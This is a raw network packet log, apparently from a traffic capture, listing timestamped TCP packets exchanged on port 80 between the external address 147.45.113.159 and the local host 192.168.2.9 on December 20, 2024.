Dec 20, 2024 17:13:37.737602949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.737642050 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.738213062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.738399982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.738435030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.739087105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.739629984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.739669085 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.739742041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.739753008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.739783049 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.740479946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.740719080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.740802050 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.741261005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.741668940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.741731882 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.742105961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.742858887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.742872000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.742903948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.743187904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.743228912 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.744230986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.744251013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.744306087 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.744415998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.744549036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.744612932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.745165110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.745592117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.745630026 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.774627924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.774976969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.774987936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.775044918 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.775160074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.775203943 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.775326967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.776052952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.776091099 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.776336908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.776654959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.776695013 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.838493109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.838618040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.838628054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.838679075 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.838746071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.838783979 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.839349031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.840142965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.840157032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.840224981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.840307951 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.840307951 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.840714931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.841080904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.841131926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.841658115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.841929913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.841969967 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.842314959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.842514992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.842562914 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.843089104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.843489885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.843528032 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.843864918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.843951941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.843990088 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.844613075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.845330954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.845387936 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.845452070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.845463037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.845504999 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.846167088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.846285105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.846323013 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.847043037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.847054958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.847091913 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.847934961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.848246098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.848287106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.848541975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.848694086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.848728895 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.849407911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.849483967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.849524021 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.850223064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.850343943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.850384951 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.850931883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.851005077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.851044893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.851665974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.851849079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.851892948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.852502108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.852662086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.852703094 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.853317976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.853497028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.853539944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.854047060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.854207993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.854257107 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.854794979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.854928970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.854979992 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.855606079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.855843067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.855887890 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.856364965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.856755018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.856801033 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.857187986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.857645035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.857721090 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.858112097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.858196020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.858242989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.858690977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.858766079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.858803988 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.859601021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.859890938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.859951973 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.860353947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.861057043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.861072063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.861107111 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.861141920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.861180067 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.923038960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.923074961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.923086882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.923119068 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.923151016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.923186064 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.923778057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.924585104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.924597025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.924631119 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.924660921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.924691916 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.925117016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.925348997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.925389051 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.926033974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.926335096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.926369905 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.926726103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.926738024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.926774979 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.927495956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.927751064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.927808046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.928298950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.928721905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.928767920 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.929014921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.929325104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.929363966 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.929856062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.930649042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.930661917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.930686951 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.930742025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.930775881 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.931386948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.931834936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.931902885 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.932183027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.932193995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.932228088 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.932979107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.933092117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.933144093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.933743954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.934040070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.934091091 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.934499979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.934917927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.934953928 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.935334921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.935606956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.935647011 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.936142921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.936295986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.936347008 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.936835051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.937046051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.937083006 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.937700033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.937711000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.937752008 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.966890097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.967263937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.967277050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.967308044 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.967365026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.967396021 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.968017101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.968364954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.968411922 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.968794107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.015579939 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.030555010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.030792952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.030846119 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.030884027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.031086922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.031127930 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.031682014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.031831026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.031868935 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.032413006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.032699108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.032738924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.032763004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.033505917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.033552885 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.033915043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.034231901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.034271955 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.034563065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.035037994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.035079002 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.035506964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.035875082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.035919905 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.035964966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.036652088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.036715031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.036740065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.037400007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.037441969 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.037548065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.038269997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.038330078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.038337946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.038943052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.038988113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.039045095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.039751053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.039793968 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.039843082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.040585041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.040597916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.040625095 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.041301012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.041346073 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.041372061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.042131901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.042169094 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.042325974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.042928934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.042963028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.043163061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.043618917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.043658018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.043850899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.044410944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.044446945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.044724941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.045203924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.045238972 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.045459986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.046075106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.046087980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.046109915 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.046822071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.046859980 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.047096014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.047584057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.047626972 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.047765017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.048578978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.048620939 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.048891068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.049274921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.049310923 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.049616098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.049997091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.050039053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.050088882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.050690889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.050729990 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.050786018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.051464081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.051510096 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.051542044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.052261114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.052303076 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.052484989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.053045034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.053076982 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.053136110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.093764067 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.115452051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.115473032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.115485907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.115500927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.115653038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.115988970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.116343021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.116409063 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.117141962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.117660046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.117683887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.117713928 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.117758989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.117799044 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.118341923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.118632078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.118697882 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.119013071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.119271040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.119319916 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.119654894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.120013952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.120064974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.120362043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.120445013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.120487928 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.121143103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.121265888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.121309996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.121859074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.122658014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.122680902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.122709036 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.122770071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.122814894 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.123476028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.123498917 CET	80	49711	147.45.113.159	192.168.2.9
